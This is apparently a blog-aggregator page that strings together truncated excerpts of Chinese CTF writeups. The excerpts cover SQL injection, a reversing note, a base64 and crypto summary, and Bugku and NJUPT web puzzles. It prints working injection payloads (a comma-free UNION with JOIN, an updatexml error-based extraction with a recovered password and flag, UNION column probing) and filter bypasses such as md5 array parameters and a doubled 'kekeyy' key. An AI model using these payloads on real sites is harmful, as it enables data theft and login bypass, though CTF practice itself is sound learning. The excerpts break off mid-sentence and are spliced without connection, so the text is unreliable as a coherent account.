ctf

i春秋 “百度杯”CTF比赛 九月场 SQLi writeup

帅比萌擦擦* 提交于 2020-01-17 07:58:49
0x00 打开题目链接后是一个空白页面,老规矩,去源代码找线索,于是就发现了提示login.php?id=1。 由题目可以知道这一题是SQL注入有关,那url的参数id应该就是注入点了。不过我试了好几次都没有特殊的回显,后来在网上搜到一些提示说真正的页面是l0gin.php。不得不说出题人和解出来的人脑洞是真的大。(不过之后做了一些其他题目后才发现这次比赛的出题人很喜欢这样的命名方式,可能是这样想出来的吧) 0x01 访问l0gin.php后发现是典型的sql注入的回显界面。于是我先用burpsuite跑sqli fuzzing字典,发现后台对逗号以后的输入做了截断处理。 于是就上网找无逗号注入的方法,发现可以用join 来替代逗号。 举个例子: 普通的sql注入语句: union select group_concat(table_name) from information_schema.tables where table_schema=database(),user() 使用join的无逗号注入语句: union select * from ((select group_concat(table_name) from information_schema.tables where table_schema=database())a join (select user())b

【CTF WEB】ISCC 2016 web 2题记录

折月煮酒 提交于 2020-01-17 05:43:53
偶然看到的比赛,我等渣渣跟风做两题,剩下的题目工作太忙没有时间继续做。 第1题 sql注入: 题目知识 考察sql注入知识,题目地址:http://101.200.145.44/web1//index.php 做题过程 第一步:注入Playload user=flag&pass=' or updatexml(1,concat(0x7e,(select pw from user limit 1,1 )),0)# ' 第二步:注入效果 Masel's secure site 重置数据库 Error: XPATH syntax error: '~*75DBBA7B5806E761411' 第三步:获取源码,得知用户名为flag,使用注入出的密码登录可得到flag 用户名为flag 密码为:*75DBBA7B5806E761411 Loggedin!Flag:5a2f5d8f-58fa-481b-a19f-9aab97ba6a4b 相关源码 http://101.200.145.44/web1//index.php.txt <html> <head> Masel's secure site </head> <body> <a href="setup-db.php">重置数据库</a> <?php include("auth.php"); $servername = $host;

XCTF Hello CTF

送分小仙女□ 提交于 2020-01-15 18:43:59
一.查壳 二.拖入ida x86静态分析 shift +F12找到字符串。 发现关键字please input your serial 点击进入 这是我们的主函数,F5反编译一下,看一下逻辑。 这里有几个函数,我也不懂啥意思,百度的. 1.qmemcpy(void *destin ,void *source):将source指针所指的值拷贝到destin中去 2.sprintf(char *str, char * format [, argument, …]),在本文的意思是将v4的字符串以十六进制的形式存入v8中。 三. 那么逻辑已经很明显了,V13就是我们的flag,只不过转成了十六进制,只需要将十六进制转成字符串就好了。 来源: CSDN 作者: YenKoc 链接: https://blog.csdn.net/YenKoc/article/details/103989710

CTF密码学总结

安稳与你 提交于 2020-01-15 00:38:54
1.base64编码 Base64是网络上最常见的用于传输8Bit字节码的编码方式之一,base64就是一种基于64个可打印字符来表示二进制数据的表示方法。由于2的6次方等于64,所以每6个比特为一个单元,对应某个可打印字符。三个字节有24个比特,对应4个base64单元,即3个字节可表示4个可打印字符。它可用来作为电子邮件的传输编码。在base64中的可打印字符包括字母A-Z、a-z、数字0-9,这样共有62个字符,此外两个可打印符号在不同系统中而不同。 例如:编码‘Man' 在此例中,base64算法将3个字符编码转为4个字符 base64索引表: 如果要编码的字节数不能被3整除,最后会多出1个或2个字节,那么可以使用下面的方法进行处理:先使用0字节值在末尾补足,使其能够被3整除,然后再进行base64的编码。在编码后的base64文本后加上一个或两个“=”号,代表补足的字节数。也就是说,当最后剩余一个八位字节(一个byte)时,最后6位的base64字节块有四位是0值,最后附加上两个等号;如果最后剩余两个八位字节(2byte)时,最后一个6位的base字节块有两位是0值,最后附加一个等号 例如: 当看到==号的加密方式时,可以考虑base64。例:cTZ1NQ==解码之后为q5u5。 关于base32: base32中只有大写字母(A-Z)和数字234567 关于base16

Bugku - CTF加密篇之滴答~滴

泪湿孤枕 提交于 2020-01-13 01:14:31
滴答~滴 答案格式KEY{xxxxxxxxx} 本题要点:摩斯密码 将 -... -.- -.-. - ..-. -- .. ... -.-. 放入摩斯密码在线解密网站解密~ 得到 BKCTFMISC 别忘了提交格式哦~ KEY{BKCTFMISC} 参考资料: 摩斯密码解密在线网站: https://www.jb51.net/tools/morse.htm 来源: https://www.cnblogs.com/0yst3r-2046/p/11660689.html

team [XCTF-PWN][高手进阶区]CTF writeup攻防世界题解系列28(网站配置错误,需自行配置本地环境测试)

时光总嘲笑我的痴心妄想 提交于 2020-01-06 22:25:16
请注意: 本题在攻防世界网站配置错误,请自行配置本地环境测试 最近攻防世界的题目pwn高手进阶区全部打乱了,所以现在我的题目列表是下面这样的了,搞的我的尴尬症都犯了😄 准备看看能不能把一些题目解决一下,不过其中有些题目的环境是配置错误的,我已经联系网站的工作人员,准备进QQ群。 现在我就先把team这道题目给大家说明一下。这道题目其实并不是太复杂,但是网站的工作人员没有搞清楚这道题目的出题方法,所以造成了一些问题。 先看看题目: 现在这道题目改成了2星的难度,其实也确实就是2星的难度。 照例检查一下保护机制 [*] '/ctf/work/python/team/4f785d9988ce43c2b6e12ae2c49040aa' Arch: i386-32-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x8048000) 开启了NX和Canary,继续看下代码 main函数: int __cdecl main() { char *pszTeamname; // ST18_4 char *pszFlag; // ST1C_4 pszTeamname = (char *)malloc(200u); pszFlag = (char *)malloc(100u); printf(

CTF隐写术

我与影子孤独终老i 提交于 2020-01-06 19:06:29
文章目录 常用工具 思路 LSB隐写 加密的ZIP压缩包 doc文件隐写 例题 常用工具 winhex:显示文件十六进制格式(也可以用hexdump) foremost:文件提取工具(也可以用binwalk) Stegsolve:LSB 查看图片最低有效位 Elcomsoft Password Recovery:压缩包解码 思路 1、查看文件属性,看能否发现隐藏信息 2、进行文件分离,看能否分离出有用文件 3、用WinHex打开文件,查找有用信息 LSB隐写 LSB隐写就是修改RGB颜色分量的最低二进制位(LSB),每个颜色会有8 bit,LSB隐写就是修改了像素中最低的1 bit,而人类的眼睛不会注意到这前后的变化,每个像素可以携带3 bit的信息。 加密的ZIP压缩包 1、考虑是否为伪加密 2、用明文攻击 明文攻击:明文攻击是一种攻击模式,指攻击者已知明文、密文以及算法,求解密钥的过程。 3、暴力 doc文件隐写 1、字体颜色改变,尝试修改字体的颜色 2、word隐藏文字设置 例题 图片隐写: 例1 用StegSolve打开,可以看到图片中有一个二维码,扫描二维码即可。 例2 用WinHex打开图片,搜索字符串FLAG即可 来源: CSDN 作者: 虐猫人薛定谔i 链接: https://blog.csdn.net/Deep___Learning/article/details

PWN fd [pwnable.kr]CTF writeup题解系列1

我的未来我决定 提交于 2020-01-01 16:52:54
题目地址: http://pwnable.kr/play.php 题目地址页面,看看还是挺有意思的,还有一些图片。 看看题目: 题目比较简单,直接把解题过程列出来 root@mypwn:/ctf/work/reverse# ssh fd@pwnable.kr -p2222 The authenticity of host '[pwnable.kr]:2222 ([128.61.240.205]:2222)' can't be established. ECDSA key fingerprint is SHA256:I9nWMZvctQv4Vypnh9ICs6aB2g20WV/EjTIYJ83P0K8. Are you sure you want to continue connecting (yes/no)? yes Warning: Permanently added '[pwnable.kr]:2222,[128.61.240.205]:2222' (ECDSA) to the list of known hosts. fd@pwnable.kr's password: Permission denied, please try again. fd@pwnable.kr's password: ____ __ __ ____ ____ ____ _ ___ __ _ ____

ctf题目writeup(8)

对着背影说爱祢 提交于 2019-12-25 04:41:38
2019.2.11 南京邮电的ctf平台: 地址http://ctf.nuptzj.cn/challenges# 他们好像搭新的平台了。。。我注册弄了好半天。。。 1. 签到题,打开网址: 查看一下页面源代码: 2. 这道题很熟悉,就是找 md5后开头为0e的 然后传参就行了: 比如 ?a=s878926199a nctf{md5_collision_is_easy} 3. 这里查看页面源代码: 这里最大长度是10 肯定不够 改成12什么的,足够我们输入 zhimakaimen nctf{follow_me_to_exploit} 4. 打开后: 查看页面源代码,没发现什么有用的。试了试把index.html改成Index.php也不行。 就把图片保存到本地,notepad++打开: 最后一行: nctf{photo_can_also_hid3_msg} 5. 这道题打开后是这样的: 打开后查看页面源代码(总共需要三次) 分别是 S0.html S0.htm 404.htm 最后进入404.html: 这个后退没什么用。直接查看源代码: 这段注释 竖着看 就是flag nctf{this_is_a_fl4g} 6. 打开后这样: 这里需要用unicode看: 去百度一下aaencode http://utf-8.jp/public/aaencode.html

ctf题目writeup(7)

风流意气都作罢 提交于 2019-12-25 04:40:09
2019.2.10 过年休息归来,继续做题。 bugku的web题,地址:https://ctf.bugku.com/challenges 1. http://123.206.87.240:8002/web16/ 提示是备份,不由自主想到bak。这里可以扫路径或者自己多试试: http://123.206.87.240:8002/web16/index.php.bak 就是备份,直接保存下来。 打开后是一段源代码: 大概意思就是,获取key1和key2,但是会过滤掉你输入的key。 然后如果两个key的md5相等,且两个key本身不相等,就会打印出flag的值。 在这里可以用 kekeyy1 和 kekeyy2来绕过这个过滤。 而在php中,md5函数无法处理数组,返回的都是null,两个null也是相等。 所以构造payload: http://123.206.87.240:8002/web16/?kekeyy1[]=sss&kekeyy2[]=xxx (key后面的值随便写就ok) Bugku{OH_YOU_FIND_MY_MOMY} 2. http://123.206.87.240:8002/chengjidan/ 输入1的时候是这样(这个submit是post方式) 加个' 这里猜下,总共四列 (名字,三科目) 1' union select 1,2,3,4# 都有回显